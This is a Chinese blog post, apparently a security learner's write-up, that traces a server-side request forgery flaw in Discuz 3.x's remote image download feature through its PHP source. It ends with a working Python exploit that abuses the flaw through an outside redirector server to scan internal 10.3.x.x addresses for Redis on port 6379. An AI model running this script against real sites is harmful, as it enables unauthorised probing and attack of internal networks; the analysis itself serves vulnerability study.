zoukankan      html  css  js  c++  java
  • discuz 3.x ssrf分析

    discuz 3.x版本ssrf漏洞分析

    • 漏洞促发点soucemoduleforumforum_ajax.php
      最后看到了这里
      $_GET['action']='downremoteimg'
      看名字看出应该是个远程下载图片的功能。
    $_GET['message'] = str_replace(array("
    ", "
    "), array($_GET['wysiwyg'] ? '<br />' : '', "\n"), $_GET['message']);
    	preg_match_all("/[img]s*([^[<
    ]+?)s*[/img]|[img=d{1,4}[x|\,]d{1,4}]s*([^[<
    ]+?)s*[/img]/is", $_GET['message'], $image1, PREG_SET_ORDER);
    	$temp = $aids = $existentimg = array();
    	if(is_array($image1) && !empty($image1)) {
    		foreach($image1 as $value) {
    			$temp[] = array(
    				'0' => $value[0],
    				'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
    			);
    		}
    	}
    
    • preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
    <?php 
    $a="<script>alert('1')</script>";
    preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER); 
    print_r($array);
    ?>
    

    输出

    Array
    (
        [0] => Array
            (
                [0] => <script>alert('1')</script>
                [1] => alert('1')
            )
    
    )
    
    
    • 所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
    foreach($temp as $value) {
    			$imageurl = $value[1];
    			$hash = md5($imageurl);
    			//echo $imageurl;
    			if(strlen($imageurl)) {
    				$imagereplace['oldimageurl'][] = $value[0];
    				if(!isset($existentimg[$hash])) {
    					$existentimg[$hash] = $imageurl;
    					$attach['ext'] = $upload->fileext($imageurl);
    					echo $attach['ext'];
    					if(!$upload->is_image_ext($attach['ext'])) {
    						continue;
    					}
    					//echo $imageurl;
    					$content = '';
    					if(preg_match('/^(http://|.)/i', $imageurl)) {
    						$content = dfsockopen($imageurl);
    

    前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段

    function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
    	$return = '';
    	$matches = parse_url($url);
    	$scheme = $matches['scheme'];
    	$host = $matches['host'];
    	$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
    	$port = !empty($matches['port']) ? $matches['port'] : 80;
    
    	if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
    		$ch = curl_init();
    		$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
    		curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
    		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    		if($post) {
    			curl_setopt($ch, CURLOPT_POST, 1);
    			if($encodetype == 'URLENCODE') {
    				curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    			} else {
    				parse_str($post, $postarray);
    				curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
    			}
    		}
    
    
    import requests
    import time
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
    import threading
    import Queue
    
    threads_count = 20
    scheme = 'dict'
    port = '6379'
    ip_block = '10.3'
    class WyWorker(threading.Thread):
    	def __init__(self,queue):
    		threading.Thread.__init__(self)
    		self.queue = queue
    	def run(self):
    		global lock
    		while True:
    			if self.queue.empty():
    				break
    			try:
    				url = self.queue.get_nowait()
    				starttime = time.time()
    				results= requests.get(url)
    				if time.time() - starttime > 4:
    					starttime2=time.time()
    					res = requests.get(url)
    					if time.time() - starttime2 > 4:
    						lock.acquire()
    						print url 
    						lock.release()
    			except requests.exceptions.ReadTimeout:
    				pass
    			except requests.exceptions.ConnectTimeout:
    				pass
    			except Exception, e:
    				break
    
    if __name__ == "__main__":
    	queue = Queue.Queue()
    	global lock
    	lock = threading.Lock()
    	for c in xrange(0,255):
    		for d in xrange(0,255):
    			ip = '{0}.{1}.{2}'.format(ip_block,c,d)
    			payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
    			url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(payload=payload)
    			queue.put(url)
    	threads = []
    	for i in xrange(threads_count):
    		threads.append(WyWorker(queue))
    	for t in threads:
    		t.start()
    	for t in threads:
    		t.join()
    
    

    其实这次自己审这个洞,发现还是熟悉各种漏洞的成因,注意用户的输入。这方面必须加强。

  • 相关阅读:
    Python入门-函数进阶
    Python入门-初始函数
    Leetcode300. Longest Increasing Subsequence最长上升子序列
    Leetcode139. Word Break单词拆分
    Leetcode279. Perfect Squares完全平方数
    Leetcode319. Bulb Switcher灯泡开关
    Leetcode322. Coin Change零钱兑换
    二叉树三种遍历两种方法(递归和迭代)
    Leetcode145. Binary Tree Postorder Traversal二叉树的后序遍历
    Leetcode515. Find Largest Value in Each Tree Row在每个树行中找最大值
  • 原文地址:https://www.cnblogs.com/wangshuwin/p/7656095.html
Copyright © 2011-2022 走看看